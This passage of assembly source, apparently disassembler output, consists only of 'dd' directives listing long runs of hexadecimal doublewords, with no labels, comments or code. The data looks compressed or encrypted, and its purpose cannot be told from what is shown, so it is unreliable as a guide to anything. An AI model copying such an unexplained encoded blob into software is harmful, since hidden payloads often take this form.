0CD72E45h, 0B7B0B8E9h dd 0EA003BF8h, 74688749h, 8A6F55h, 75611159h, 5F15A6A1h dd 743F2448h, 0EE9D360Fh, 70E126C2h, 15630090h, 95543274h dd 7500E758h, 9CF83F5Bh, 0B1E81Ch, 0FE6C630Dh, 0C8E28A8h dd 7905277Eh, 36AA20C2h, 74CD86C0h, 0CAC48B4h, 88306D09h dd 0D54D9C60h, 0E5A9971Dh, 0E4007C11h, 8FD74241h, 27E891BDh dd 1E7D5B3Eh, 0A980783Ah, 441CC808h, 54F600C6h, 64E6BAD2h dd 784E89FFh, 2985BC00h, 8B688Ch, 6D28F947h, 72ABA59Bh dd 2D0A7100h, 0CFD9AE21h, 90D8008Fh, 5AF7BD76h, 8D0F818Ah dd 80481716h, 86B3AB43h, 9CFC05h, 9049E71Dh, 36F2A03Eh dd 5F120700h, 0BD65BF80h, 0A81F01E6h, 638BB892h, 0BA01D08Ah dd 0AC5E1500h, 11FD87FCh, 6ECC00AEh, 9278D0B1h, 68136740h dd 38C232BEh, 1CA4585Ch, 90CB9FF9h, 5A060B12h, 0DBF800ABh dd 23B4EE5h, 0F3EEDE7Dh, 0B2E02664h, 38073C3Ah, 0F0291DADh dd 0FE416000h, 0CD9507C6h, 0BFF57F6Fh, 3CE7A9A1h, 7080C4DDh dd 0A4F92601h, 689FBC9h, 0CC75B06Fh, 0E0A07E03h, 91E14C57h dd 24ECE92Dh, 837A3AC2h, 0F4430700h, 0E370D48Fh, 7600B176h dd 381B56DDh, 0DECD77h, 0BA28D6ECh, 85C36B93h, 62861E07h dd 0A8D0DC04h, 8AB90Bh, 9A4F5E0Ah, 9013E316h, 0BC823400h dd 0E8F852F0h, 0AA370025h, 0C11DA670h, 6F00D49Ch, 179536ACh dd 7D8D98A1h, 3DF0EEEh, 2A4038E5h, 14D6C9FDh, 0ACBE3B28h dd 2B0327B0h, 0D8A56109h, 507080C4h, 0AD071CF0h, 6C2C013h dd 8D2AA7B1h, 0DA637900h, 6D0D18FFh, 98AAF811h, 40A0001Ah dd 42EBDE2Ah, 45504462h, 0FB05F4ACh, 0E40B7948h, 5D58C400h dd 0CAEF4Ah, 0C6EE61D3h, 802EF162h, 6B081700h, 1AE57ED6h dd 47BF00DDh, 0E0AB7B35h, 5E079E1Fh, 9DF50249h, 0F28C3A81h dd 1F4763F4h, 0CF0E51h, 0D77225DCh, 650ECA0Dh, 0B6CB6C3Ch dd 41578900h, 4BE754h, 43DA6F20h, 67D6987Fh, 0C396B80Bh dd 0EDB40028h, 3692979h, 40D8E95Fh, 31E0CFB4h, 4516DB56h dd 58007C44h, 6C0854B7h, 0BE200CCh, 0B037FFEAh, 0A51FC6FAh dd 0E349F22Dh, 10AC8014h, 1A331C84h, 9CBCCFD2h, 6200A4D2h dd 0AAB2C07Dh, 1D0B8587h, 0C074D9C7h, 0BDFE7B9Ch, 12000EEEh dd 0B7279306h, 3022E0Ah dd 8BC22D9h, 0DBD87ACFh, 89EFF6Fh, 28AA200h, 90262E9Dh dd 4B970917h, 81ABEEh, 0D0BC65A0h, 67B83983h, 5F3E9D00h dd 7AC91093h, 0FBB0713h, 50BE952Fh, 0AF09BEBh, 0B3ED800Eh dd 80558FA0h, 0E1692C1Bh, 0B8D80075h, 0A296F7A7h, 0D6020A0Bh dd 0BA8CC571h, 3ED850E7h, 0A126844Dh, 80C824DBh, 0C3516DC8h dd 42E82290h, 0B4463900h, 73B79E44h, 20BA0E76h, 71C0C59Dh dd 5E86D08Ah, 833E8400h, 957F2989h, 94EF1FB8h, 70D1CD45h dd 6865D4DCh, 49001490h, 58AFDDFBh, 0B85DF7A8h, 0B0340640h dd 0F4A2D8F9h, 1919943Fh, 66A09B10h, 5AFC6EFDh, 0D20F143Bh dd 4F0FABFDh, 11E08E59h, 0B2E895C8h, 0BAF34B0Eh, 0DAE12037h dd 10D741h, 18747579h, 42127E47h, 0D574C00h, 0BE39DF9h dd 654316D3h, 67B000A1h, 99D92444h, 932C1278h, 3900B4CBh dd 58A71D35h, 0D83D4DAAh, 81834D06h, 0D000393Ah, 2DF03727h dd 12887EA2h, 0B2358h, 0EF564EFh, 1400EF17h, 0BD2FEDF2h dd 916D1Bh, 90E2C850h, 0E0394DF3h, 0E890BCFCh, 0F42C2E1Ch dd 1CDDCC8Eh, 0B400E8D6h, 3F458E6Dh, 3EAA000Fh, 0A532AF59h dd 0C100C521h, 58155750h, 5EB25A09h, 0D650400Ch, 8C2A4FF1h dd 4CF03031h, 1864C5CEh, 67AA1F56h, 0F836D577h, 28106E25h dd 0FB00AD3Fh, 74F2F7FAh, 0B8093CAEh, 6AB12CFFh, 8F3F0099h dd 10ABD7C9h, 3A2C6C09h, 0A09C0E6Dh, 0B84A535Ah, 0ED1B012Eh dd 4D27A014h, 0C2C3F06Ah, 9BD56D03h, 0D67D0E04h, 597B245Eh dd 0A4BE0008h, 56323625h, 0BD36302h, 0E0B8CDB5h, 3AA2F8h dd 87DBDEAFh, 32C58926h, 81289E25h, 52664EFCh, 39E970h dd 915095A8h, 97EC402Bh, 171C7701h, 62FB6ED9h, 7DE64BC8h dd 7208F2BEh, 0D51B0084h, 0F0E39F4Ah, 580F751Ch, 80A85F45h dd 0D09531D9h, 0D0B001Fh, 7581ACC9h, 9B02704h, 260CFA4Ch dd 0E70001DCh, 5CC266F0h, 97600058h, 8F8C2CA3h, 9C0016FCh dd 0D9EEAFE0h, 0A2940Eh, 58AD7F1Dh, 0F86ED40Ah, 0B261BA04h dd 3480EBFCh, 19A067h, 54E826EEh, 0F5F627F7h, 1A0A38h dd 1DE0B6F9h, 3E045686h, 0CE849DDFh, 0C7AA3D5Ah, 64B9907Fh dd 71007C4Dh, 7817D4A1h, 3F4F284Ah, 6000F7AAh, 1E7F7019h dd 99029813h, 6A2C36C4h, 48354083h, 0C8C70B17h, 200671Ah dd 0ADA06E6Ch, 49B86000h, 52627835h, 7DE916F6h, 19504356h dd 1DC83240h, 7300333Ah, 9F904FB7h, 985FC84h, 257ABBE4h dd 0A76AF4E0h, 0EFDEAD04h, 0CCC0E395h, 9AC54Dh, 4B30BA97h dd 0C23D6862h, 0D7D18F00h, 0F37AE7A2h, 9A203BA5h, 4F76AD80h dd 0D99CC2AFh, 7F63D60Fh, 0A492055h, 5868043h, 1EE564ADh dd 0A7ACD0A1h, 8E001CC4h, 0F1F4670Eh, 0A30789h, 0DD8791BCh dd 75F99EFAh, 3A624E00h, 0A00F449Fh, 5C2A3AD6h, 96FDEE80h dd 0C2BCB166h, 6C6348h, 4B082C38h, 2CA5741Ah, 43A43A5Dh dd 7A98660Ah, 0BD071052h, 6CE26F33h, 16814770h, 1CB73E6h dd 373BEF29h, 0D8362CCFh, 112C2AD1h, 0F8270813h, 0B4D812EEh dd 0E3C44060h, 941296B2h, 16104660h, 34713Ah, 3B098A47h dd 0AF068BBCh, 0B115A600h, 0B3217B38h, 59D425E1h, 124A288Ah dd 9174C0C6h, 1F12600Eh, 0B88024B3h, 0DDCB73A0h, 0F5F48074h dd 0D2A443AEh, 802EC32Eh, 7AD46C00h, 722DEB9h, 0C634C1CDh dd 1E0A9012h, 8C00AE0Ch, 0A0D63209h, 110233h, 3B7BB16Bh dd 995EC0EBh, 4D944B03h, 890608C8h, 0BFF0C9A5h, 3A470025h dd 851E1676h, 0B6000EA2h, 1B3365E9h, 0F0B793h, 42CFCBEEh dd 4F607447h, 7852A776h, 83B10FB4h, 6149E028h, 12D64116h dd 13F8D8A3h, 0D5A9009Ch, 0C0817A6Ah, 7964AB01h, 0B5AE2611h dd 75B69C0h, 0C8EAA0DCh, 6220D094h, 0D309060Dh, 8088D10Ch dd 0FFA872CAh, 83190285h, 4D7EEE05h, 8C0D9C40h, 284B3F79h dd 188A400h, 7C18E611h, 0D1E91D4Eh, 3E6026E5h, 8D0A6D89h dd 0CC809851h, 0D90EBAD3h, 0C83501EEh, 2445CA5h, 17F430B3h dd 0FB49500h, 0F5801948h, 3A1B01BCh, 700B2DEAh, 0DC8C605Bh dd 6A59FD00h, 0EEC0D6B6h, 4A6D00C1h, 4FAE54D3h, 362521E3h dd 0DC04009Ch, 12E5FBE9h, 17A14E6h, 0EC5B7134h, 6C002E1Ah dd 7B36F6Eh, 507F0081h, 2A515ABh, 290063ADh, 1CE7B50Dh dd 79D21068h, 27BA4CD3h, 3912FE03h, 0B3E0F531h, 0A8F4A6C4h dd 845D3207h, 95F0FCEFh, 83E223h, 5BD592CAh, 2C466DBFh dd 0F19CE02h, 0E098ACB8h, 0E0EF0888h, 508C001Bh, 0C22F119Eh dd 4800E115h, 0F3C023BDh, 0D513A0h, 3B92686h, 1A5DF5DCh dd 7C827300h, 0A81039ECh, 328F2491h, 0B00396Ch, 963C4E3Eh dd 4F07FE79h, 7230B89Ah, 2246BD80h, 1C5A00C2h, 73C77F19h dd 7D3DA58Ah, 0BD0A839Bh, 9F5D866Eh, 7416EA73h, 0ACFC50h dd 0C4B67942h, 787C616Bh, 0D4155Dh, 82B46DC5h, 44607Ah dd 0CB5F9E33h, 0CAD5A2CCh, 4048A900h, 56FC87F6h, 492C0729h dd 0F0551182h, 3401FF27h, 14BAD8FAh, 47023502h, 0C04E48E5h dd 0FC9C174h, 86BA1CEDh, 6D4C73C0h, 0E2166354h, 8200D67Ah dd 0CCAF7959h, 299C00C3h, 0BD243908h, 8200D268h, 75F2E56Eh dd 3AF4462Ah, 510029CCh, 8365FCF0h, 39006DA7h, 0ADC79357h dd 98AC01EFh, 0DC85001Ch, 6BCB3406h, 6C000EF0h, 53E65910h dd 0EEBDC364h, 0C7560049h, 5DA9A103h, 0E90021BBh, 7B9543FFh dd 0B8986D3Fh, 907164h, 15394847h, 5E02E350h, 4B6F5700h dd 0A09524A8h, 87E26Bh, 3C93C81Fh, 0B3CE0B4Ch, 0CD113500h dd 0C9DA2940h, 7498AEh, 82500706h, 4759681Eh, 0B06B890h dd 0C136625Fh, 0F2190011h, 22373AA1h, 96018D4Ah, 0ACAFC523h dd 1E3D9CBh, 72063048h, 20A57BC8h, 5A70978Ch, 0BA39087Dh dd 3B8187BCh, 0A4392F49h, 34C2F3B8h, 1B68E0F7h, 39100044h dd 3BAD3570h, 13009685h, 0F948CB71h, 48E2A326h, 780018FBh dd 375F6BA4h, 0CF097753h, 0E0067399h, 0A168D70h, 7ED4E63Bh dd 0F15782B8h, 788927h, 84BAC100h, 756B8A77h, 92173CC0h dd 2083C480h, 25A523F4h, 18BEB5FCh, 0EB000810h, 0BC83FB28h dd 0E0019F76h, 0DADBDD2Fh, 2F99FEh, 8A0EFAC4h, 2900975Dh dd 2640F62Ah, 778D86Eh, 0C375C20Ah, 0B4B755A2h, 0E0B6C8C8h dd 5E444D85h, 11EEB000h, 761808B2h, 0F5F47E25h, 737828h dd 6B3F96E6h, 3004584Bh, 0F3557705h, 304383B6h, 94E47BF5h dd 630004A8h, 0A635DD0Bh, 5CEC2616h, 8EC11517h, 0A085D093h dd 0BA688Bh, 8FFE7B0Ah, 0F432B99Dh, 3B5F0100h, 0B8B62A0Fh dd 0DAC1003Fh, 8F204708h, 89003C02h, 0AFA3E8EDh, 495540Ah dd 4FFC66F5h, 1901BF79h, 716DFD80h, 0CFAF8670h, 57E5F810h dd 0D9D0049Dh, 3F088016h, 12F29663h, 0B9D40405h, 56C0F2EEh dd 0E4F4F6C4h, 76E20785h, 0A5CF65DBh, 5265C054h, 0AB7FFDC5h dd 0AD647A0Eh, 0CF724C0h, 0C7801085h, 243959BBh, 909453h dd 0FF31D64Eh, 0C200A084h, 0D1E4C0F7h, 3F729BD4h, 5F038CECh dd 0B807F598h, 32822000h, 61258A41h, 0D6DA00E7h, 2091F1C8h dd 892AF07h, 0E45B73ECh, 0DE0A0020h, 0A1FE002Ah, 15090364h dd 0CF2C0EC3h, 92004CC8h, 0AE1D04A3h, 0CABD00DFh, 3EF69713h dd 9F026BDDh, 0F7BF8E33h, 4D90E8B2h, 493D00A7h, 0D68DF442h dd 9A017ABEh, 48043145h, 0B9E45113h, 1E090078h, 8AFECDF0h dd 27034764h, 485B9F7Dh, 8F8290C0h, 2E63D37h, 86358000h dd 0DE8B3149h, 0FDA2Dh dd 0D83A9E94h, 0F74C00D4h, 0D993226Eh, 0F600E3CBh, 154B7B8Ch dd 2B19D6h, 0E26A41CAh, 0C4595B6h, 93829100h, 8AFF13BBh dd 9EA1826h, 3F9E281Ah, 96DCCB01h, 37D55AF6h, 0E8F7D0h dd 163C63A6h, 0A87E1C1h, 77E00900h, 7CC6651Fh, 0AD9F861h dd 974A9327h, 0E13DE028h, 0B10023CEh, 5667954Ch, 5D5B63Ah dd 33F60835h, 0E8DEC0DFh, 6A046325h, 89D9B124h, 76A760C7h dd 3D9FDE71h, 0D317DCh, 0B4121C08h, 8A1AD7AEh, 4AFF4Ch dd 27A976E9h, 0A0E42073h, 1C433C74h, 0AE2EABA6h, 0E902066h dd 9C0E312h, 160A2A20h, 0A33EF63Ah, 83663C3Bh, 0E5C9E86Fh dd 5D30F035h, 0A438504Ah, 61B88BDBh, 2103459Eh, 1F7D44DEh dd 0B646D7D9h, 79650290h, 2137C817h, 0D1EF0CB0h, 0DF0B9373h dd 8070FE4Ah, 1FED545Dh, 64BD0A22h, 587C89D8h, 0D207145Eh dd 86C6B260h, 0A282C560h, 0F5D70023h, 3770D961h, 0BC0EDCF3h dd 20F0FC31h, 0C0B90C6Ah, 2A850095h, 2927B5B2h, 0FA00792Dh dd 58822E8h, 0E666878h, 0E4BD7B0Eh, 43529400h, 48006F4Eh dd 0B68B0885h, 158F6CE9h, 0F0B3F178h, 8375CF00h, 0F770900Bh dd 3CDADD01h, 0F669626Eh, 1C8AE4ECh, 0A8FB7Ah, 16573F78h dd 0EB3FF922h, 0ACEF00E0h, 0BC6EF453h, 8ADF0034h, 851BC83Fh dd 1034D23h, 727E02Ah, 0ABE7D886h, 0FB4E0053h, 32C6C4A2h dd 0D730D191h, 13D5895Ch, 64C20009h, 3420A1D0h, 2C907D08h dd 95581000h, 0B6DF9D41h, 0B8CE75C2h, 15A00120h, 708C2CD7h dd 4461DCA3h, 8AB44B50h, 0CD63C600h, 0BDF12130h, 0B7334C1Ah dd 8CA7C200h, 0BFE206FAh, 4D373Eh, 3ADC9DEEh, 93C0E1h dd 0E35DBA01h, 0E67806EFh, 0FFFC651Ch, 0A7195440h, 549A5E1h dd 925A5CB9h, 41B867h, 0C4915DBDh, 61CC13h, 0F2933D70h dd 303EA6C5h, 0A8ED700h, 47AC81CEh, 9A7D00E9h, 6782331Fh dd 36003E20h, 96EE011Eh, 0EE4DAB0Dh, 0F3E916F8h, 0ED00EF61h dd 0F0037B09h, 10C339E6h, 5C3BE780h, 26CBBDAEh, 5DABEF2Ch dd 57A86900h, 0FA5A219h, 21742E7Ch, 0C8805D40h, 0A0009488h dd 53C71DFBh, 0D6481Bh, 0F5E7A2F2h, 0AA25E071h, 45509700h dd 0E673A5E4h, 0EC600E8h, 2F77B230h, 10001B9Bh, 1D4209CEh dd 999C40h, 0C321DFB7h, 6F0629B3h, 56F1AB00h, 65EE0245h dd 1D55706Eh, 40A76441h, 9FBACA88h, 0B2032B8Eh, 4BDAD997h dd 2A2D99B9h, 514E5ECh, 0C7D8FC3Dh, 0AD6980E1h, 0B002815h dd 8FFD3136h, 0F2FC5F0Dh, 781D0219h, 0C4019CC6h, 912F5C40h dd 0AC29B001h, 0BE7F9DDFh, 42C8FCh, 8077316Bh, 2F21C7B3h dd 0EB386E00h, 2EED3211h, 0A5540CA2h, 0AD991D35h, 0CD376700h dd 0E862789Ch, 58D90198h, 7F7BDF56h, 260DFCCAh, 220A6901h dd 0AF6D523Bh, 0FD6AF4h, 0BFEFA5D2h, 449FA7F9h, 6FFA3307h dd 77607C9Bh, 0CB5975h, 0E3A91340h, 0CF389118h, 0A14CBB00h dd 0ABCD2B70h, 5C72DFh, 0F7527D84h, 692BD17h, 31957F1Eh dd 0AEBF00F9h, 524F4C20h, 0DCBC0EFBh, 11A09A5Fh, 0C449F243h dd 0CDD44B00h, 6DF40E9Bh, 0E92B1639h, 52C501FFh, 40264C4Ah dd 0D9D74780h, 66625A0Eh, 960420F9h, 38259B57h, 0CC80397Eh dd 4CDA5F46h, 0DD011F6Bh, 233FEC59h, 0C1D832F1h, 0A0CE008Fh dd 77F8B10Ch, 7800487Ch, 0F7F9E6A5h, 387266CCh, 92822A96h dd 0E9CB40AFh, 1B3FB881h, 6590E428h, 0CD7B90Fh, 235A780h dd 0BA6BF9E1h, 0A2B480CAh, 9044AFh, 0DD4D6C20h, 4A580F65h dd 0FA5BC00Eh, 0E01C4EB3h, 0E39E9C04h, 19A50B82h, 805DCD3Fh dd 0D6333BA9h, 4CDF0048h, 4FF56503h, 0CF00FE74h, 0E37C906Dh dd 285C6CE5h, 3E280EEh, 400DB11Bh, 0DF885544h, 0EC00E05Ah dd 35B8BCFFh, 1E6823h, 9824956h, 0A9AA2EFAh, 0C8301100h dd 0BEA5D54Bh, 54700085h, 57AF05D9h, 0C9FAD1EAh, 691D261Eh dd 0AEFDD07h, 0A29E87A0h, 318006Ch, 0FD403C53h, 4500D0F9h dd 90DFE212h, 2B23F7h, 6D413370h, 8C9BF7Dh, 0E7E59400h dd 6F594DF2h, 0F8150771h, 504937E0h, 0A5D8C9C1h, 3803AD00h dd 0ED711139h, 4BA60084h, 0A975FAEAh, 9103DB2Ah, 553F549Ah dd 5EB5D048h, 358707FDh, 505227ACh, 58468EE6h, 940C3C1Fh dd 3E22B0C2h, 48EE40A7h, 521E0493h, 0C1E54785h, 0D4906E28h dd 72737F6Ah, 0B2074500h, 5C97D59Eh, 0E42B3E6Fh, 60478780h dd 6BDAC043h, 0BB12DE03h, 0D87C13FAh, 0F46C14h, 0A1763AAh dd 0EC09F29Eh, 0ACCDCB06h, 602F28h, 2378B0FBh, 17B15B1Dh dd 0EC654D00h, 3CC25C12h, 2789C0A6h, 9E854584h, 8373481Fh dd 6100763Ah, 191CEDACh, 1FAF79h, 44A3A276h, 465D0E1Ah dd 6A7C60C3h, 0C4381481h, 760C2839h, 432150F7h, 0EE71347Bh dd 13D8F60Ch, 765A3181h, 0EFA61883h, 3C802879h, 7B84A00h dd 0CF18E554h, 6CE31F8Ch, 0B2FE80EDh, 3650A980h, 0B30F4407h dd 0C0F95FE4h, 0EF5BEFh, 1CC8A3AFh, 443A583h, 394FC00h dd 0B76AFD7Fh, 79220409h, 0C0CB1AE2h, 6DBDF540h, 0E400BC7Ch dd 0B4E010EBh, 348806Ah, 843DAF3Bh, 20038749h, 38B57923h dd 4F10FFB3h, 0C90206h, 2C6AC605h, 43CFF7DAh, 0F1B78403h dd 0E3C5FE09h, 8F9CC12Ah, 10BA7889h, 0A2A33A81h, 0F446E0B1h dd 0B3E4CD00h, 0DF02A96Ah, 0F037E8A5h, 882D01EBh, 4E42D3CCh dd 19F0BEB9h, 7821873Eh, 2A8906E3h, 50A3CFF4h, 8C63653Ch dd 0D1A03D95h, 11730F1Bh, 0A7036AC8h, 41006CA5h, 50752942h dd 0DF30359Fh, 0BEB70048h, 0C184ABBFh, 0B07BCE3Dh, 399C7006h dd 30E70D12h, 6090B5h, 10CF6B60h, 1401AF71h, 4FD122E7h dd 3C202EB4h, 0FC3A39BEh, 80A7DA9Fh, 0BBA39A5Ah, 4005CF0h dd 0A287D495h, 286B64h, 0FE88AF08h, 0DF01E722h, 91F6351Ch dd 95F55C80h, 44E5A4Ah, 0F771FCD0h, 4F61807Dh, 6800E38Fh dd 0AEEEECC1h, 9485D4h, 4EAD0EA5h, 41C72948h, 0E992D600h dd 5CFB3544h, 640A00F7h, 0E30784DDh, 4A031FABh, 419B5DA8h dd 0EABEA7h, 0A48F3864h, 0AA4070BCh, 0C68C6005h, 218027CFh dd 798757F2h, 91BA0037h, 0C3C80D8Dh, 654C4690h, 532E0310h dd 0A06F58B2h, 1E98FD20h, 0C083A1ECh, 0C9B3E795h, 2EF882ACh dd 4BEE8B00h, 0F1D53744h, 23C41E1Ch, 0E53F4449h, 91C0AB8Dh dd 6BDE476h, 0C780AD4h, 0F90F6008h, 619E325Dh, 0D5573C70h dd 0A0608FD0h, 0FC4709BDh, 0AEC2004Ch, 0CCE2565Ch, 1700D079h dd 0AC2CF548h, 4815D61Bh, 0EE30CCFEh, 896F6250h, 385F91C0h dd 485CF8h, 68050466h, 0F56AD4BFh, 4C997700h, 67B22D8Ch dd 70B026E4h, 0BB8339B8h, 0E958FA6Ah, 0BFAEDB90h, 76F6327Ah dd 3D162519h, 0A5F08458h, 790400C4h, 0C00FB5A1h, 8360FB5Ch dd 493C3E78h, 1CB0007h, 0A01333E1h, 0C017AC2h, 0FA5F84D6h dd 0E34710h, 0DF8A57B1h, 0BAE29093h, 36716118h, 3A226FF0h dd 250CA174h, 0B1790D15h, 0B082BB18h, 15C80E1h, 6408714Eh dd 70787F07h, 650FD40Ch, 0C0562D4Ch, 0EBF0319Eh, 2AC400DCh dd 8728A7Eh, 0BA048881h, 10969703h, 93308FC7h, 7361D3FAh dd 0CC7428h, 2C36E905h, 47BD3FC1h, 56FDB90Ch, 608E08A0h dd 0FF172062h, 4100EEC0h, 970BEC1Eh, 0E8A6BFh, 3A6761D6h dd 7C6DA2D7h, 7F0A7217h, 0FF5DDE00h, 8EF96Bh, 3FD826A5h dd 60F83705h, 1D650C0h, 1D3E776h, 0D11F29EAh, 0D11DD9E2h dd 0B72180C3h, 5B2EE6EBh, 21703B15h, 80EA4960h, 60C0D9F9h dd 0E35152BDh, 520F9E9h dd 6AD600EBh, 61337460h, 2F185AFFh, 5528FD4Bh, 0D8EA3005h dd 1C41D6F1h, 265F5A0h, 0E277FB02h, 60D1CB73h, 68F59759h dd 74941868h, 0E100A746h, 774EAF13h, 48C6CCC9h, 79655Eh dd 44A09FECh, 2EF4DC6Dh, 0B331EE07h, 4C81E7AAh, 388E61DEh dd 0FB04FFB1h, 6EDBC0B4h, 9078F9Dh, 0B69E50DDh, 604B8C20h dd 1AFA0003h, 0A656E0C2h, 0E500365Ch, 5DC0CB8Ah, 0EE7A547Bh dd 88E307DAh, 0D0980246h, 36CC0E23h, 8582A607h, 73938422h dd 0F19DF0D6h, 174B00B7h, 0FC86E0CDh, 0A300BD3Bh, 0EE7D235Ah dd 0DF7F88h, 7ACBB94Ah, 0ED96038h, 0C790CD07h, 4FAE7BEh dd 4718603h, 0B296E088h, 0B4A60073h, 9DDE3B0h, 0C0737E2h dd 86B61005h, 1134B5A3h, 21697C28h, 0CC6C0897h, 1E8ABF90h dd 0D52B0828h, 88C9DD88h, 391F55ABh, 0ED5C6600h, 37DC5EFh dd 98BD430Ch, 50970219h, 0DDE68FCBh, 0B2214007h, 1260D5C9h dd 0EE857F9Ah, 977FBEh, 8037289Dh, 0B23D0694h, 0EE8FB700h dd 7FC099C8h, 0F08960BDh, 66BB7CB5h, 0A1563200h, 6029435h dd 502E00C2h, 0B4B6F84Fh, 0B707A54Ch, 0DCBBCC4Eh, 1082260h dd 0B0130087h, 0BDC61ED9h, 5603459Ah, 0A998F651h, 0B778A803h dd 0B3850053h, 96ECD813h, 375CF467h, 0ECE00BBh, 8BE2F39Bh dd 0B7490902h, 3900AAE7h, 26575635h, 9BAE3303h, 0C84FDE27h dd 1F40D80h, 0D5608A01h, 40E89671h, 0ADD72D8h, 0C9046679h dd 0B5E41DAh, 381138C0h, 9E9A0EB7h, 0C4C0A3DEh, 0B276FBD0h dd 0E07D3700h, 501E6BDFh, 106E1DAAh, 0DE2A445Dh, 0DA61807Eh dd 0D9007351h, 0E356AC9Ch, 0A5285h, 9BDE5F8Dh, 0C1BD4B3Dh dd 476A0C00h, 7B138FEFh, 0C76E0026h, 173A4453h, 2500ED38h dd 0BC3E4628h, 7B940Ch, 0CBA4F367h, 59C0F4Bh, 170128ECh dd 0FD9E152Eh, 63D15206h, 7F81ED5h, 79640025h, 9DDCCBD6h dd 4004AD4h, 2D346575h, 77EB4185h, 146C3B5Ah, 44058D02h dd 0E883B701h, 17F8ED69h, 0F400C535h, 1A25B0BFh, 8C0AD5h dd 1BEF7E34h, 246A9F54h, 0DBA1200h, 6E6C2F59h, 74B00033h dd 0C2CC8D83h, 0B50068ADh, 0F7F1A535h, 4A37E6h, 4E59BBB0h dd 0C6766B99h, 0CDC15500h, 91F783B6h, 0AC7C003Eh, 0AD601DCFh dd 0AF04E456h, 0B52AFFF0h, 992F5EC0h, 5F72019Bh, 0B6D97AFDh dd 0FADD2091h, 4976AB72h, 502A5A00h, 625EBE74h, 0A04000F0h dd 5911E4Eh, 543ABD15h, 0D1E70028h, 2D741C51h, 2B2F1C7Eh dd 4512401Eh, 8601B14Dh, 7BA9AD00h, 0AE35269Fh, 0E3E51F61h dd 912500EDh, 842CCF63h, 0A59B9700h, 590C1FB1h, 0B58E0077h dd 0DB4E7516h, 3A00512Bh, 267A8158h, 1578FBh, 145F9425h dd 49E44DE3h, 2AF86601h, 43F06EAEh, 0AC9EFCh, 4D0A9A50h dd 0A6A21C6Ch, 68B99400h, 0F4F9E2F0h, 80EC00D0h, 0DFB16A73h dd 237457FDh, 10597F00h, 452ADC28h, 70430976h, 4480C8EFh dd 4125CA13h, 0BDDB3707h, 0F4A0573Bh, 0FA27382h, 38907C9Fh dd 8314DC20h, 5BF6335Ch, 0DD9B3C13h, 0FC74E800h, 3D28847h dd 0AF1FBC15h, 90E8796Eh, 0E103DB57h, 9F62989h, 0D83AF81Ah dd 75B6006Fh, 0BDCCEC49h, 2A244E70h, 921FA043h, 5EDB4B40h dd 9D08D3h, 0AB37B332h, 0CAEC4852h, 1F39EA02h, 60421255h dd 0FDDAF5Ch, 21DFA616h, 384809Ch, 6478F387h, 0FBBC4600h dd 55E816FDh, 51C600A4h, 0C36FC525h, 8501BD21h, 3FF3E1F7h dd 54C8719Dh, 4DAB00EAh, 8D4AC0A6h, 0AD00E3FCh, 41327D47h dd 1E831E0h, 0B2BAFD38h, 0D467EF36h, 0D001A3ECh, 86FAAD44h dd 0A8505754h, 38860CBh, 0CDF1CFA6h, 0C190EF14h, 0BB142BF9h dd 965428h, 190C3408h, 15768E9h, 75F54492h, 209F2A36h dd 8A0E8F01h, 0E2A7F2BEh, 8183E0E6h, 629CF3A8h, 0AFFEE100h dd 25935B0Fh, 9400136Ch, 906639A3h, 34915964h, 935C3F00h dd 9619B567h, 0B1A99E0Fh, 0A11DA099h, 0DAF1AAh, 72BE3E76h dd 5D0E4977h, 2065D207h, 0F9F0697Fh, 0C5A7E3h, 10586350h dd 0FF2F2A3Ch, 0CDFA9D03h, 0A898C134h, 3A0AD93Bh, 0D18E8470h dd 67402FE1h, 4474F919h, 188C000h, 0B8CBC456h, 0E8C2006Ah dd 0AB941C3h, 0DD7CE732h, 6734AA00h, 69C6C09Dh, 0E960073h dd 1AFC24E0h, 0B69822D0h, 8191A40Bh, 57980044h, 31058A39h dd 73E8C092h, 97DEC0A9h, 0B7005492h, 0E622945Ch, 1CC001h dd 0FC2018F7h, 0D07C6271h, 0E1BC8200h, 0C8DE3DBAh, 0A753000Bh dd 9B86F527h, 4E7A5D3Ah, 3B0A6092h, 0B82C2AF3h, 0BF3D0100h dd 1C79B1Dh, 2D8F0AB5h, 0FC6458DFh, 0A600D121h, 19950446h dd 0F48BE48Ch, 0FBAB00D2h, 9BD0068Eh, 0CB089B6h, 199D2F00h dd 0DC2DCE79h, 2B0D00FEh, 1B1585AEh, 4F72E7A5h, 0A32F4200h dd 40297CA0h, 0C5040094h, 0F8670E9h, 500DBA6h, 4F205BD5h dd 8E3F25h, 69098479h, 0DFA7491Bh, 500E991Ch, 1DE7F400h dd 125B43A5h, 8E0D2h, 0AB7ED468h, 9F00AFC3h, 6537F0E5h dd 26130Ch, 6A2EF569h, 827B6859h, 6725D203h, 0E884FD3Ah dd 0C29157D5h, 87C07314h, 0E8D004C3h, 3216ABCFh, 581F48C1h dd 76D91EC0h, 822F0Bh, 93A8624Bh, 0ACB61FD6h, 83544909h dd 0A32400CFh, 0A4E98F78h, 390901FCh, 0E84AF5A1h, 0DFB4E837h dd 0C14E5A01h, 525F8547h, 923054FDh, 598B00E5h, 7A97A487h dd 3000D0C6h, 4D781075h, 0FBFABA31h, 0EADCC8h, 9796B945h dd 0BB66D664h, 9E80D307h, 0ED20F08Ch, 6CD5FAh, 4B63B0C6h dd 0A93D0828h, 225A6507h, 0DD0DBF3h, 0E894C1h, 233C6949h dd 7477A0EEh, 1E4AF900h, 0B4CE5EA6h, 86853BC8h, 3776B185h dd 6980834Bh, 0AFCCF8F0h, 345D1800h, 22E9046Eh, 0A0A10F78h dd 0B30F4706h, 0D4A880FEh, 316051D3h, 0EAF62100h, 99E18F70h dd 0F19300EEh, 8CFEDAB0h, 34F0B3BEh, 53635F03h, 0F0472812h dd 79193E1Ah, 8EFE0035h, 0BECA1C2Fh, 712EA6E7h, 9100D8D3h dd 0B5F2DA72h, 47733B9Eh, 351A3300h, 0B0FA52F1h, 0EE96BA07h dd 0DC10388Fh, 4A536674h, 440800C1h, 5ABBFFA6h, 9AFC0F01h dd 0BE915B1Ah, 0C3E1F4h, 3AA4D8D2h, 0E69F80C8h, 0C409DB09h dd 2BA58081h, 7BB3F6h, 0E4D3D7C6h, 6EDA323Ah, 1BF32A01h dd 0BE9D9ADDh, 0EAC23F4h, 0E0B23DB5h, 0A83B6620h, 98009985h dd 6DA10B07h, 0EF8AF7h, 0E812015Ah, 0A58530EDh, 3590BB00h dd 0FF60C9A6h, 2BE7008Eh, 32C7B20Ah, 5A0774ADh, 2C066C4Bh dd 88D0CA14h, 4C1E69h, 85030C29h, 0E633349Ah, 30D28100h dd 0C11FF825h, 61B800DEh, 0A5AD5B37h, 1958054Eh, 44720090h dd 74A31051h, 